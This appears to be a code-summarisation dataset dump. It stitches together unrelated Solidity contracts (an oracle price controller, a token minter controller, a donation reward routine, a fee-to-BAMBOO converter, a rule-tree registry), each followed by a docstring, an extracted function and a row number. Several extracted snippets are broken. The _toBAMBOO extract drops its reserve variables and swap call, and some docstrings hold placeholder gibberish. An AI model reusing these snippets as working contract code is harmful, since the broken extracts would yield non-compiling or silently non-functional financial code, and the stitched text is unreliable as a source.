// /// @return sigmaSQ The square of the volatility (18 decimal places). The current implementation assumes that
// /// the volatility cannot exceed 1. Correspondingly, when the return value is equal to 999999999999996447,
// /// it means that the volatility has exceeded the range that can be expressed
// /// @return ntokenBlockNumber The block number of ntoken price
// /// @return ntokenPrice The ntoken price. (1eth equivalent to (price) ntoken)
// /// @return ntokenAvgPrice Average price of ntoken
// /// @return ntokenSigmaSQ The square of the volatility (18 decimal places). The current implementation assumes that
// /// the volatility cannot exceed 1. Correspondingly, when the return value is equal to 999999999999996447,
// /// it means that the volatility has exceeded the range that can be expressed
// function triggeredPriceInfo2(address tokenAddress, address payback) external payable returns (uint blockNumber, uint price, uint avgPrice, uint sigmaSQ, uint ntokenBlockNumber, uint ntokenPrice, uint ntokenAvgPrice, uint ntokenSigmaSQ);
// /// @dev Get the latest effective price. (token and ntoken)
// /// @param tokenAddress Destination token address
// /// @param payback As the charging fee may change, it is suggested that the caller pay more fees, and the excess fees will be returned through this address
// /// @return blockNumber The block number of price
// /// @return price The token price. (1eth equivalent to (price) token)
// /// @return ntokenBlockNumber The block number of ntoken price
// /// @return ntokenPrice The ntoken price. (1eth equivalent to (price) ntoken)
// function latestPrice2(address tokenAddress, address payback) external payable returns (uint blockNumber, uint price, uint ntokenBlockNumber, uint ntokenPrice);
}
// File contracts/interfaces/ICoFiXController.sol
// GPL-3.0-or-later
pragma solidity ^0.8.6;
/// @dev This interface defines the methods for price call entry
interface ICoFiXController {
// Calc variance of price and K in CoFiX is very expensive
// We use expected value of K based on statistical calculations here to save gas
// In the near future, NEST could provide the variance of price directly. We will adopt it then.
// We can make use of `data` bytes in the future
/// @dev Query price
/// @param tokenAddress Target address of token
/// @param payback As the charging fee may change, it is suggested that the caller pay more fees,
/// and the excess fees will be returned through this address
/// @return ethAmount Oracle price - eth amount
/// @return tokenAmount Oracle price - token amount
/// @return blockNumber Block number of price
function queryPrice(
address tokenAddress,
address payback
) external payable returns (
uint ethAmount,
uint tokenAmount,
uint blockNumber
);
/// @dev Calc variance of price and K in CoFiX is very expensive
/// We use expected value of K based on statistical calculations here to save gas
/// In the near future, NEST could provide the variance of price directly. We will adopt it then.
/// We can make use of `data` bytes in the future
/// @param tokenAddress Target address of token
/// @param payback As the charging fee may change, it is suggested that the caller pay more fees,
/// and the excess fees will be returned through this address
/// @return k The K value(18 decimal places).
/// @return ethAmount Oracle price - eth amount
/// @return tokenAmount Oracle price - token amount
/// @return blockNumber Block number of price
function queryOracle(
address tokenAddress,
address payback
) external payable returns (
uint k,
uint ethAmount,
uint tokenAmount,
uint blockNumber
);
/// @dev K value is calculated by revised volatility
/// @param sigmaSQ The square of the volatility (18 decimal places).
/// @param p0 Last price (number of tokens equivalent to 1 ETH)
/// @param bn0 Block number of the last price
/// @param p Latest price (number of tokens equivalent to 1 ETH)
/// @param bn The block number when (ETH, TOKEN) price takes into effective
function calcRevisedK(uint sigmaSQ, uint p0, uint bn0, uint p, uint bn) external view returns (uint k);
/// @dev Query latest price info
/// @param tokenAddress Target address of token
/// @param payback As the charging fee may change, it is suggested that the caller pay more fees,
/// and the excess fees will be returned through this address
/// @return blockNumber Block number of price
/// @return priceEthAmount Oracle price - eth amount
/// @return priceTokenAmount Oracle price - token amount
/// @return avgPriceEthAmount Avg price - eth amount
/// @return avgPriceTokenAmount Avg price - token amount
/// @return sigmaSQ The square of the volatility (18 decimal places)
function latestPriceInfo(address tokenAddress, address payback)
external
payable
returns (
uint blockNumber,
uint priceEthAmount,
uint priceTokenAmount,
uint avgPriceEthAmount,
uint avgPriceTokenAmount,
uint sigmaSQ
);
}
// File contracts/CoFiXController.sol
// GPL-3.0-or-later
pragma solidity ^0.8.6;
/// @dev This interface defines the methods for price call entry
contract CoFiXController is ICoFiXController {
uint constant BLOCK_TIME = 14;
// Address of NestPriceFacade contract
address constant NEST_PRICE_FACADE = 0xB5D2890c061c321A5B6A4a4254bb1522425BAF0A;
/// @dev To support open-zeppelin/upgrades
function initialize(address nestPriceFacade) external {
//NEST_PRICE_FACADE = nestPriceFacade;
}
/// @dev Query latest price info
/// @param tokenAddress Target address of token
/// @param payback As the charging fee may change, it is suggested that the caller pay more fees,
/// and the excess fees will be returned through this address
/// @return blockNumber Block number of price
/// @return priceEthAmount Oracle price - eth amount
/// @return priceTokenAmount Oracle price - token amount
/// @return avgPriceEthAmount Avg price - eth amount
/// @return avgPriceTokenAmount Avg price - token amount
/// @return sigmaSQ The square of the volatility (18 decimal places)
function latestPriceInfo(address tokenAddress, address payback)
public
payable
override
returns (
uint blockNumber,
uint priceEthAmount,
uint priceTokenAmount,
uint avgPriceEthAmount,
uint avgPriceTokenAmount,
uint sigmaSQ
) {
(
blockNumber,
priceTokenAmount,
,//uint triggeredPriceBlockNumber,
,//uint triggeredPriceValue,
avgPriceTokenAmount,
sigmaSQ
) = INestPriceFacade(NEST_PRICE_FACADE).latestPriceAndTriggeredPriceInfo {
value: msg.value
} (tokenAddress, payback);
_checkPrice(priceTokenAmount, avgPriceTokenAmount);
priceEthAmount = 1 ether;
avgPriceEthAmount = 1 ether;
}
// Calc variance of price and K in CoFiX is very expensive
// We use expected value of K based on statistical calculations here to save gas
// In the near future, NEST could provide the variance of price directly. We will adopt it then.
// We can make use of `data` bytes in the future
/// @dev Query price
/// @param tokenAddress Target address of token
/// @param payback As the charging fee may change, it is suggested that the caller pay more fees,
/// and the excess fees will be returned through this address
/// @return ethAmount Oracle price - eth amount
/// @return tokenAmount Oracle price - token amount
/// @return blockNumber Block number of price
function queryPrice(
address tokenAddress,
address payback
) external payable override returns (
uint ethAmount,
uint tokenAmount,
uint blockNumber
) {
(blockNumber, tokenAmount) = INestPriceFacade(NEST_PRICE_FACADE).latestPrice {
value: msg.value
} (tokenAddress, payback);
ethAmount = 1 ether;
// (
// uint latestPriceBlockNumber,
// uint latestPriceValue,
// ,//uint triggeredPriceBlockNumber,
// ,//uint triggeredPriceValue,
// uint triggeredAvgPrice,
// //uint triggeredSigmaSQ
// ) = INestPriceFacade(NEST_PRICE_FACADE).latestPriceAndTriggeredPriceInfo {
// value: msg.value
// } (tokenAddress, payback);
// _checkPrice(latestPriceValue, triggeredAvgPrice);
// ethAmount = 1 ether;
// tokenAmount = latestPriceValue;
// blockNumber = latestPriceBlockNumber;
}
/// @dev Calc variance of price and K in CoFiX is very expensive
/// We use expected value of K based on statistical calculations here to save gas
/// In the near future, NEST could provide the variance of price directly. We will adopt it then.
/// We can make use of `data` bytes in the future
/// @param tokenAddress Target address of token
/// @param payback As the charging fee may change, it is suggested that the caller pay more fees,
/// and the excess fees will be returned through this address
/// @return k The K value(18 decimal places).
/// @return ethAmount Oracle price - eth amount
/// @return tokenAmount Oracle price - token amount
/// @return blockNumber Block number of price
function queryOracle(
address tokenAddress,
address payback
) external override payable returns (
uint k,
uint ethAmount,
uint tokenAmount,
uint blockNumber
) {
(
uint[] memory prices,
,//uint triggeredPriceBlockNumber,
,//uint triggeredPriceValue,
uint triggeredAvgPrice,
uint triggeredSigmaSQ
) = INestPriceFacade(NEST_PRICE_FACADE).lastPriceListAndTriggeredPriceInfo {
value: msg.value
} (tokenAddress, 2, payback);
tokenAmount = prices[1];
_checkPrice(tokenAmount, triggeredAvgPrice);
blockNumber = prices[0];
ethAmount = 1 ether;
k = calcRevisedK(triggeredSigmaSQ, prices[3], prices[2], tokenAmount, blockNumber);
}
/// @dev K value is calculated by revised volatility
/// @param sigmaSQ The square of the volatility (18 decimal places).
/// @param p0 Last price (number of tokens equivalent to 1 ETH)
/// @param bn0 Block number of the last price
/// @param p Latest price (number of tokens equivalent to 1 ETH)
/// @param bn The block number when (ETH, TOKEN) price takes into effective
function calcRevisedK(uint sigmaSQ, uint p0, uint bn0, uint p, uint bn) public view override returns (uint k) {
k = _calcK(_calcRevisedSigmaSQ(sigmaSQ, p0, bn0, p, bn), bn);
}
// Calculate the corrected volatility
function _calcRevisedSigmaSQ(
uint sigmaSQ,
uint p0,
uint bn0,
uint p,
uint bn
) private pure returns (uint revisedSigmaSQ) {
// sq2 = sq1 * 0.9 + rq2 * dt * 0.1
// sq1 = (sq2 - rq2 * dt * 0.1) / 0.9
// 1.
// rq2 <= 4 * dt * sq1
// sqt = sq2
// 2. rq2 > 4 * dt * sq1 && rq2 <= 9 * dt * sq1
// sqt = (sq1 + rq2 * dt) / 2
// 3. rq2 > 9 * dt * sq1
// sqt = sq1 * 0.2 + rq2 * dt * 0.8
uint rq2 = p * 1 ether / p0;
if (rq2 > 1 ether) {
rq2 -= 1 ether;
} else {
rq2 = 1 ether - rq2;
}
rq2 = rq2 * rq2 / 1 ether;
uint dt = (bn - bn0) * BLOCK_TIME;
uint sq1 = 0;
uint rq2dt = rq2 / dt;
if (sigmaSQ * 10 > rq2dt) {
sq1 = (sigmaSQ * 10 - rq2dt) / 9;
}
uint dds = dt * dt * dt * sq1;
if (rq2 <= (dds << 2)) {
revisedSigmaSQ = sigmaSQ;
} else if (rq2 <= 9 * dds) {
revisedSigmaSQ = (sq1 + rq2dt) >> 1;
} else {
revisedSigmaSQ = (sq1 + (rq2dt << 2)) / 5;
}
}
/// @dev Calc K value
/// @param sigmaSQ The square of the volatility (18 decimal places).
/// @param bn The block number when (ETH, TOKEN) price takes into effective
/// @return k The K value
function _calcK(uint sigmaSQ, uint bn) private view returns (uint k) {
k = 0.002 ether + _sqrt((block.number - bn) * BLOCK_TIME * sigmaSQ / 1e4) * 2e11;
}
// babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method)
function _sqrt(uint y) private pure returns (uint z) {
if (y > 3) {
z = y;
uint x = (y >> 1) + 1;
while (x < z) {
z = x;
x = (y / x + x) >> 1;
}
} else if (y != 0) {
z = 1;
}
}
// Check price
function _checkPrice(uint price, uint avgPrice) private pure {
require(
price <= avgPrice * 11 / 10 &&
price >= avgPrice * 9 / 10,
"CoFiXController: price deviation"
);
}
/// @return adm The admin slot.
function getAdmin() external view returns (address adm) {
assembly {
adm := sload(0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103)
}
}
} | return adm The admin slot. | function getAdmin() external view returns (address adm) {
assembly {
adm := sload(0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103)
}
}
| 10,505,088 |
// Sources flattened with buidler v1.4.3 https://buidler.dev
// File contracts/interfaces/IMiniMeLike.sol
pragma solidity ^0.5.0;
/**
* @dev A sparse MiniMe-like interface containing just `generateTokens()`.
*/
interface IMiniMeLike {
/**
* @notice Generates `_amount` tokens that are assigned to `_owner`
* @param _owner The address that will be assigned the new tokens
* @param _amount The quantity of tokens generated
* @return True if the tokens are generated correctly
*/
function generateTokens(address _owner, uint _amount) external returns (bool);
}
// File contracts/interfaces/ITokenController.sol
pragma solidity ^0.5.0;
/**
* @dev The MiniMe token controller contract must implement these functions
* ANT was compiled with solc 0.4.8, so there is no point in marking any of the functions as `view`.
*/
interface ITokenController {
/**
* @notice Called when `_owner` sends ether to the MiniMe Token contract
* @param _owner The address that sent the ether to create tokens
* @return True if the ether is accepted, false if it throws
*/
function proxyPayment(address _owner) external payable returns (bool);
/**
* @notice Notifies the controller about a token transfer allowing the controller to react if desired
* @param _from The origin of the transfer
* @param _to The destination of the transfer
* @param _amount The amount of the transfer
* @return False if the controller does not authorize the transfer
*/
function onTransfer(address _from, address _to, uint _amount) external returns (bool);
/**
* @notice Notifies the controller about an approval allowing the controller to react if desired
* @param _owner The address that calls `approve()`
* @param _spender The spender in the `approve()` call
* @param _amount The amount in the `approve()` call
* @return False if the controller does not authorize the approval
*/
function onApprove(address _owner, address _spender, uint _amount) external returns (bool);
}
// File contracts/ANTController.sol
pragma solidity 0.5.17;
contract ANTController is ITokenController {
string private constant ERROR_NOT_MINTER = "ANTC_SENDER_NOT_MINTER";
string private constant ERROR_NOT_ANT = "ANTC_SENDER_NOT_ANT";
IMiniMeLike public ant;
address public minter;
event ChangedMinter(address indexed minter);
/**
* @dev Ensure the msg.sender is the minter
*/
modifier onlyMinter {
require(msg.sender == minter, ERROR_NOT_MINTER);
_;
}
constructor(IMiniMeLike _ant, address _minter) public {
ant = _ant;
_changeMinter(_minter);
}
/**
* @notice Generate ANT for a specified address
* @dev Note that failure to generate the requested tokens will result in a revert
* @param _owner Address to receive ANT
* @param _amount Amount to generate
* @return True if the tokens are generated correctly
*/
function generateTokens(address _owner, uint256 _amount) external onlyMinter returns (bool) {
return ant.generateTokens(_owner, _amount);
}
/**
* @notice Change the permitted minter to another address
* @param _newMinter Address that will be permitted to mint ANT
*/
function changeMinter(address _newMinter) external onlyMinter {
_changeMinter(_newMinter);
}
// Default ITokenController settings for allowing token transfers.
// ANT was compiled with solc 0.4.8, so there is no point in marking any of these functions as `view`:
// - The original interface does not specify these as `constant`
// - ANT does not use a `staticcall` when calling into these functions
/**
* @dev Callback function called from MiniMe-like instances when ETH is sent into the token contract
* It allows specifying a custom logic to control if the ETH should be accepted or not
* @return Always false, this controller does not permit the ANT contract to receive ETH transfers
*/
function proxyPayment(address /* _owner */) external payable returns (bool) {
// We only apply this extra check here to ensure `proxyPayment()` cannot be sent ETH from arbitrary addresses
require(msg.sender == address(ant), ERROR_NOT_ANT);
return false;
}
/**
* @dev Callback function called from MiniMe-like instances when an ERC20 transfer is requested
* It allows specifying a custom logic to control if a transfer should be allowed or not
* @return Always true, this controller allows all transfers
*/
function onTransfer(address /* _from */, address /* _to */, uint /* _amount */) external returns (bool) {
return true;
}
/**
* @dev Callback function called from MiniMe-like instances when an ERC20 approval is requested
* It allows specifying a custom logic to control if an approval should be allowed or not
* @return Always true, this controller allows all approvals
*/
function onApprove(address /* _owner */, address /* _spender */, uint /* _amount */) external returns (bool) {
return true;
}
// Internal fns
function _changeMinter(address _newMinter) internal {
minter = _newMinter;
emit ChangedMinter(_newMinter);
}
} | Generate ANT for a specified address Note that failure to generate the requested tokens will result in a revert _owner Address to receive ANT _amount Amount to generate return True if the tokens are generated correctly/ | function generateTokens(address _owner, uint256 _amount) external onlyMinter returns (bool) {
return ant.generateTokens(_owner, _amount);
}
| 15,145,497 |
./full_match/3/0x702dA70c7837c787FCbC2E69333A496Ccc7438e1/sources/browser/1_Storage.sol | poolID id of specific poolID return numTransactions abcd return amountTransactions abcd return amountEnergy dghd/ check if Pool Owner | function showPoolInfo (
uint256 poolID
)
external
view
returns (
uint256 numTransactions,
uint256 amountTransactions,
uint256 amountEnergy,
uint256 qualityTU1,
uint256 numTU1,
uint256 qualityTU2,
uint256 numTU2,
uint256 qualityTU3,
uint256 numTU3
)
{
if (msg.sender == poolArray[poolID].owner || msg.sender == owner) {
numTransactions = poolArray[poolID].numTransactions;
amountTransactions = poolArray[poolID].amountTransactions;
amountEnergy = poolArray[poolID].amountEnergy;
qualityTU1 = poolArray[poolID].technicalsUnits[0].qualityValue;
numTU1 = poolArray[poolID].technicalsUnits[0].numUsed;
qualityTU2 = poolArray[poolID].technicalsUnits[1].qualityValue;
numTU2 = poolArray[poolID].technicalsUnits[1].numUsed;
qualityTU3 = poolArray[poolID].technicalsUnits[2].qualityValue;
numTU3 = poolArray[poolID].technicalsUnits[2].numUsed;
}
}
| 14,135,034 |
./full_match/42220/0x86C11Ada8Ad583d871113a9dAed33e0E9a811671/sources/contracts/donationMiner/DonationMinerImplementation.sol | Initializes all reward periods that haven't been initialized yet until the current one. The first donor in a reward period will pay for that operation./ | function initializeRewardPeriods() internal {
RewardPeriod storage _lastPeriod = rewardPeriods[rewardPeriodCount];
while (_lastPeriod.endBlock < block.number) {
rewardPeriodCount++;
RewardPeriod storage _newPeriod = rewardPeriods[rewardPeriodCount];
_newPeriod.againstPeriods = againstPeriods;
_newPeriod.startBlock = _lastPeriod.endBlock + 1;
_newPeriod.endBlock = _newPeriod.startBlock + rewardPeriodSize - 1;
_newPeriod.rewardPerBlock =
(_lastPeriod.rewardPerBlock * decayNumerator) /
decayDenominator;
_newPeriod.stakesAmount = _lastPeriod.stakesAmount;
_newPeriod.stakingDonationRatio = stakingDonationRatio;
uint256 _rewardAmount = rewardPeriodSize * _newPeriod.rewardPerBlock;
uint256 _startPeriod = (rewardPeriodCount - 1 > _lastPeriod.againstPeriods)
? rewardPeriodCount - 1 - _lastPeriod.againstPeriods
: 1;
if (!hasDonationOrStake(_startPeriod, rewardPeriodCount - 1)) {
_rewardAmount += _lastPeriod.rewardAmount;
}
_newPeriod.rewardAmount = _rewardAmount;
_lastPeriod = _newPeriod;
treasury.useFundsForLP();
}
}
| 16,355,714 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "./uniswapv2/interfaces/IUniswapV2ERC20.sol";
import "./uniswapv2/interfaces/IUniswapV2Pair.sol";
import "./uniswapv2/interfaces/IUniswapV2Factory.sol";
// This contract trades tokens collected from fees for BAMBOO, and sends them to BambooField and BambooVault
// As specified in the whitepaper, this contract collects 0.1% of fees and divides 0.06% for BambooVault and 0.04 for BambooField, that rewards past and present liquidity providers
contract BambooFarmer {
using SafeMath for uint256;
using SafeERC20 for IERC20;
IUniswapV2Factory public factory;
address public field;
address public bamboo;
address public weth;
// The only dev address
address public vaultSetter;
address public vault;
constructor(IUniswapV2Factory _factory, address _field, address _bamboo, address _weth, address _vaultSetter) {
factory = _factory;
bamboo = _bamboo;
field = _field;
weth = _weth;
vaultSetter = _vaultSetter;
}
modifier onlyEOA() {
// Try to make flash-loan exploit harder to do by only allowing externally owned addresses.
require(msg.sender == tx.origin, "must use EOA");
_;
}
function convert(address token0, address token1) public onlyEOA{
IUniswapV2Pair pair = IUniswapV2Pair(factory.getPair(token0, token1));
uint256 pairBalance = pair.balanceOf(address(this));
if (vault != address(0)) {
// If vault is set, send 60 to vault 40 to BambooField
uint256 amountDev = pairBalance.mul(60).div(100);
pairBalance = pairBalance.sub(amountDev);
_safeTransfer(address(pair), vault, amountDev);
}
// Convert the rest to the original tokens
pair.transfer(address(pair), pairBalance);
pair.burn(address(this));
// First we convert everything to WETH
uint256 wethAmount = _toWETH(token0) + _toWETH(token1);
// Then we convert the WETH to Bamboo
_toBAMBOO(wethAmount);
}
// Converts token passed as an argument to WETH
function _toWETH(address token) internal returns (uint256) {
// If the passed token is Bamboo, don't convert anything
if (token == bamboo) {
uint amount = IERC20(token).balanceOf(address(this));
_safeTransfer(token, field, amount);
return 0;
}
// If the passed token is WETH, don't convert anything
if (token == weth) {
uint amount = IERC20(token).balanceOf(address(this));
_safeTransfer(token, factory.getPair(weth, bamboo), amount);
return amount;
}
// If the target pair doesn't exist, don't convert anything
IUniswapV2Pair pair = IUniswapV2Pair(factory.getPair(token, weth));
if (address(pair) == address(0)) {
return 0;
}
// Choose the correct reserve to swap from
(uint reserve0, uint reserve1,) = pair.getReserves();
address token0 = pair.token0();
(uint reserveIn, uint reserveOut) = token0 == token ? (reserve0, reserve1) : (reserve1, reserve0);
// Calculate information required to swap
uint amountIn = IERC20(token).balanceOf(address(this));
uint amountInWithFee = amountIn.mul(1000-pair.fee());
uint numerator = amountInWithFee.mul(reserveOut);
uint denominator = reserveIn.mul(1000).add(amountInWithFee);
uint amountOut = numerator / denominator;
(uint amount0Out, uint amount1Out) = token0 == token ? (uint(0), amountOut) : (amountOut, uint(0));
// Swap the token for WETH
_safeTransfer(token, address(pair), amountIn);
pair.swap(amount0Out, amount1Out, factory.getPair(weth, bamboo), new bytes(0));
return amountOut;
}
// Converts WETH to Bamboo
function _toBAMBOO(uint256 amountIn) internal {
if(amountIn == 0) {
return;
}
IUniswapV2Pair pair = IUniswapV2Pair(factory.getPair(weth, bamboo));
// Choose WETH as input token
(uint reserve0, uint reserve1,) = pair.getReserves();
address token0 = pair.token0();
(uint reserveIn, uint reserveOut) = token0 == weth ? (reserve0, reserve1) : (reserve1, reserve0);
// Calculate information required to swap
uint amountInWithFee = amountIn.mul(1000-pair.fee());
uint numerator = amountInWithFee.mul(reserveOut);
uint denominator = reserveIn.mul(1000).add(amountInWithFee);
uint amountOut = numerator / denominator;
(uint amount0Out, uint amount1Out) = token0 == weth ? (uint(0), amountOut) : (amountOut, uint(0));
// Swap WETH for Bamboo
pair.swap(amount0Out, amount1Out, field, new bytes(0));
}
// Wrapper for safeTransfer
function _safeTransfer(address token, address to, uint256 amount) internal {
IERC20(token).safeTransfer(to, amount);
}
function setVault(address _vault) external {
require(msg.sender == vaultSetter, 'setVault: FORBIDDEN');
vault = _vault;
}
function setVaultSetter(address _vaultSetter) external {
require(msg.sender == vaultSetter, 'setVault: FORBIDDEN');
vaultSetter = _vaultSetter;
}
} | Converts WETH to Bamboo | function _toBAMBOO(uint256 amountIn) internal {
if(amountIn == 0) {
return;
}
IUniswapV2Pair pair = IUniswapV2Pair(factory.getPair(weth, bamboo));
address token0 = pair.token0();
(uint reserveIn, uint reserveOut) = token0 == weth ? (reserve0, reserve1) : (reserve1, reserve0);
uint numerator = amountInWithFee.mul(reserveOut);
uint denominator = reserveIn.mul(1000).add(amountInWithFee);
uint amountOut = numerator / denominator;
(uint amount0Out, uint amount1Out) = token0 == weth ? (uint(0), amountOut) : (amountOut, uint(0));
}
| 13,019,151 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
/// @title An Ethereum library that contains information about all the instances of the Wonka rules engines in a blockchain
/// @author Aaron Kendall
/// @notice
/// @dev
contract WonkaRegistry {
/// @title Defines a rule grove
/// @notice This class will provide information on a Grove (i.e., a collection of RuleTrees)
struct WonkaRuleGrove {
bytes32 ruleGroveId;
string description;
bytes32[] ruleTreeMembers;
mapping(bytes32 => uint) memberPositions;
address owner;
uint creationEpochTime;
bool isValue;
}
/// @title Defines a ruletree index
/// @notice This class will provide information on any RuleTree in the 'tree-verse' (which contract owns it, who owns it, the cost associated with it, etc.)
struct WonkaRuleTreeIndex {
bytes32 ruleTreeId;
string description;
bytes32[] ruleTreeGroveIds;
address hostContractAddress;
// This property also doubles as the ID for the ruletree within an instance of the WonkaEngine
address owner;
uint minGasCost;
uint maxGasCost;
// These are other contracts that the RuleTree talks to, from within the host
address[] contractAssociates;
bytes32[] usedAttributes;
bytes32[] usedCustomOperators;
uint creationEpochTime;
bool isValue;
}
string constant CONST_DEFAULT_VALUE = "Default";
// The cache of all rule groves
mapping(bytes32 => WonkaRuleGrove) private ruleGroves;
bytes32[] private ruleGrovesEnum;
// The cache of all rule trees
mapping(bytes32 => WonkaRuleTreeIndex) private ruleTrees;
bytes32[] private ruleTreesEnum;
/// @dev Constructor for the RuleTree registry
/// @notice
constructor() {
// NOTE: Initialize members here
}
/// @dev This method will add a new grove to the registry
/// @notice
function addRuleGrove(bytes32 groveId, string memory desc, address groveOwner, uint createTime) public {
require(groveId != "", "Blank GroveID has been provided.");
require(ruleGroves[groveId].isValue != true, "Grove with ID already exists.");
ruleGroves[groveId].ruleGroveId = groveId;
ruleGroves[groveId].description = desc;
ruleGroves[groveId].ruleTreeMembers = new bytes32[](0);
ruleGroves[groveId].owner = groveOwner;
ruleGroves[groveId].creationEpochTime = createTime;
ruleGroves[groveId].isValue = true;
ruleGrovesEnum.push(groveId);
}
/// @dev This method will add a new tree index to the registry
/// @notice
function addRuleTreeIndex(address ruler, bytes32 rsId, string memory desc, bytes32 ruleTreeGrpId, uint grpIdx, address host, uint minCost, uint maxCost, address[] memory associates, bytes32[] memory attributes, bytes32[] memory ops, uint createTime) public {
// require(msg.sender == rulesMaster);
require(rsId != "", "Blank ID for RuleSet has been provided");
require(ruleTrees[rsId].isValue != true, "RuleTree for ID already exists.");
ruleTrees[rsId] = WonkaRuleTreeIndex({
ruleTreeId: rsId,
description: desc,
ruleTreeGroveIds: new bytes32[](0),
hostContractAddress: host,
owner: ruler,
minGasCost: minCost,
maxGasCost: maxCost,
contractAssociates: associates,
usedAttributes: attributes,
usedCustomOperators: ops,
creationEpochTime: createTime,
isValue: true
});
ruleTreesEnum.push(rsId);
if (ruleTreeGrpId != "") {
if (ruleGroves[ruleTreeGrpId].isValue != true)
addRuleGrove(ruleTreeGrpId, CONST_DEFAULT_VALUE, ruler, createTime);
ruleTrees[rsId].ruleTreeGroveIds.push(ruleTreeGrpId);
ruleGroves[ruleTreeGrpId].ruleTreeMembers.push(rsId);
if ((grpIdx > 0) && (grpIdx <= ruleGroves[ruleTreeGrpId].ruleTreeMembers.length)) {
ruleGroves[ruleTreeGrpId].memberPositions[rsId] = grpIdx;
}
}
}
/// @dev This method will add a RuleTree to an existing Grove
/// @notice
function addRuleTreeToGrove(bytes32 groveId, bytes32 treeId) public {
// require(msg.sender == rulesMaster);
require(ruleGroves[groveId].isValue == true, "Grove for ID does not exist.");
require(ruleTrees[treeId].isValue == true, "RuleTree for ID does not exist.");
require(ruleGroves[groveId].memberPositions[treeId] == 0, "RuleTree already exists within Grove.");
ruleGroves[groveId].ruleTreeMembers.push(treeId);
ruleGroves[groveId].memberPositions[treeId] = (ruleGroves[groveId].ruleTreeMembers.length + 1);
}
/// @dev This method will all registered ruletrees
/// @notice
function getAllRegisteredRuleTrees() public view returns (bytes32[] memory){
return (ruleTreesEnum);
}
/// @dev This method will return info about the specified grove
/// @notice
function getRuleGrove(bytes32 groveId) public view returns (bytes32 id, string memory desc, bytes32[] memory members, address owner, uint createTime){
require(ruleGroves[groveId].isValue == true, "Grove with ID does not exist.");
return (ruleGroves[groveId].ruleGroveId, ruleGroves[groveId].description, ruleGroves[groveId].ruleTreeMembers, ruleGroves[groveId].owner, ruleGroves[groveId].creationEpochTime);
}
/// @dev This method will return a description about the specified grove
function getRuleGroveDesc(bytes32 groveId) public view returns (string memory desc){
require(ruleGroves[groveId].isValue == true, "Grove with ID does not exist.");
return (ruleGroves[groveId].description);
}
/// @dev This method will return an index from the registry
/// @notice
function getRuleTreeIndex(bytes32 rsId) public view returns (bytes32 rtid, string memory rtdesc, address hostaddr, address owner, uint maxGasCost, uint createTime, bytes32[] memory attributes){
// require(msg.sender == rulesMaster);
require(ruleTrees[rsId].isValue == true, "RuleTree with ID does not exist.");
return (ruleTrees[rsId].ruleTreeId, ruleTrees[rsId].description, ruleTrees[rsId].hostContractAddress, ruleTrees[rsId].owner, ruleTrees[rsId].maxGasCost, ruleTrees[rsId].creationEpochTime, ruleTrees[rsId].usedAttributes);
}
/// @dev This method will return all rule trees that belong to a specific grove, in the order that they should be applied to a record
/// @notice
function getGroveMembers(bytes32 groveId) public view returns (bytes32[] memory) {
// require(msg.sender == rulesMaster);
require(ruleGroves[groveId].isValue == true, "Grove with ID does not exist.");
uint orderIdx = 0;
bytes32[] memory groupMembers = new bytes32[](ruleGroves[groveId].ruleTreeMembers.length);
for (uint i = 0; i < ruleGroves[groveId].ruleTreeMembers.length; ++i) {
bytes32 tmpRsId = ruleGroves[groveId].ruleTreeMembers[i];
orderIdx = ruleGroves[groveId].memberPositions[tmpRsId];
if ((orderIdx > 0) && (orderIdx <= ruleGroves[groveId].ruleTreeMembers.length))
groupMembers[orderIdx-1] = tmpRsId;
}
return groupMembers;
// return ruleGroves[groveId].ruleTreeMembers;
}
/// @dev This method will return the ordered position of the RuleTree 'rsId' within the group 'rsGroupId'
/// @notice
function getGroveOrderPosition(bytes32 groveId, bytes32 rsId) public view returns (uint) {
// require(msg.sender == rulesMaster);
require(ruleGroves[groveId].isValue == true, "Grove with ID does not exist.");
uint orderIdx = 999999;
if (groveId != "") {
if (rsId != "") {
orderIdx = ruleGroves[groveId].memberPositions[rsId];
}
}
return orderIdx;
}
/// @dev This method will indicate whether or not the RuleTree has been added to the registry
/// @notice
function isRuleTreeRegistered(bytes32 rsId) public view returns (bool) {
return (ruleTrees[rsId].isValue == true);
}
/// @dev This method will reorder the members of a rule grove
/// @notice
function resetGroveOrder(bytes32 groveId, bytes32[] memory rsIdList, uint[] memory orderList) public {
// require(msg.sender == rulesMaster);
require(rsIdList.length > 0, "Provided RuleTree list is empty.");
require(orderList.length > 0, "Provided index list is empty.");
require(rsIdList.length == orderList.length, "RuleTree list and index list are different lengths.");
require(ruleGroves[groveId].ruleTreeMembers.length == rsIdList.length, "Grove member list and RuleTree list are different lengths.");
uint idx = 0;
uint grpIdx = 0;
bytes32 tmpId = "";
for (idx = 0; idx < rsIdList.length; ++idx) {
tmpId = rsIdList[idx];
ruleGroves[groveId].ruleTreeMembers[idx] = tmpId;
grpIdx = ruleGroves[groveId].memberPositions[tmpId];
if ((grpIdx > 0) && (grpIdx <= ruleGroves[groveId].ruleTreeMembers.length)) {
ruleGroves[groveId].memberPositions[tmpId] = grpIdx;
}
}
}
} | This method will all registered ruletrees | function getAllRegisteredRuleTrees() public view returns (bytes32[] memory){
return (ruleTreesEnum);
}
| 1,010,000 |
./full_match/4/0xd0036AF39D473a604bAAf8a32bF5A026316428c0/sources/EasyBakeRouter.sol | given an input amount of an asset and pair reserves, returns the maximum output amount of the other asset | function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) internal pure returns (uint amountOut) {
require(amountIn > 0, 'EasyBakeLibrary: INSUFFICIENT_INPUT_AMOUNT');
require(reserveIn > 0 && reserveOut > 0, 'EasyBakeLibrary: INSUFFICIENT_LIQUIDITY');
uint amountInWithFee = amountIn.mul(998);
uint numerator = amountInWithFee.mul(reserveOut);
uint denominator = reserveIn.mul(1000).add(amountInWithFee);
amountOut = numerator / denominator;
}
| 705,374 |
// SPDX-License-Identifier: MIT
pragma solidity 0.8.13;
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
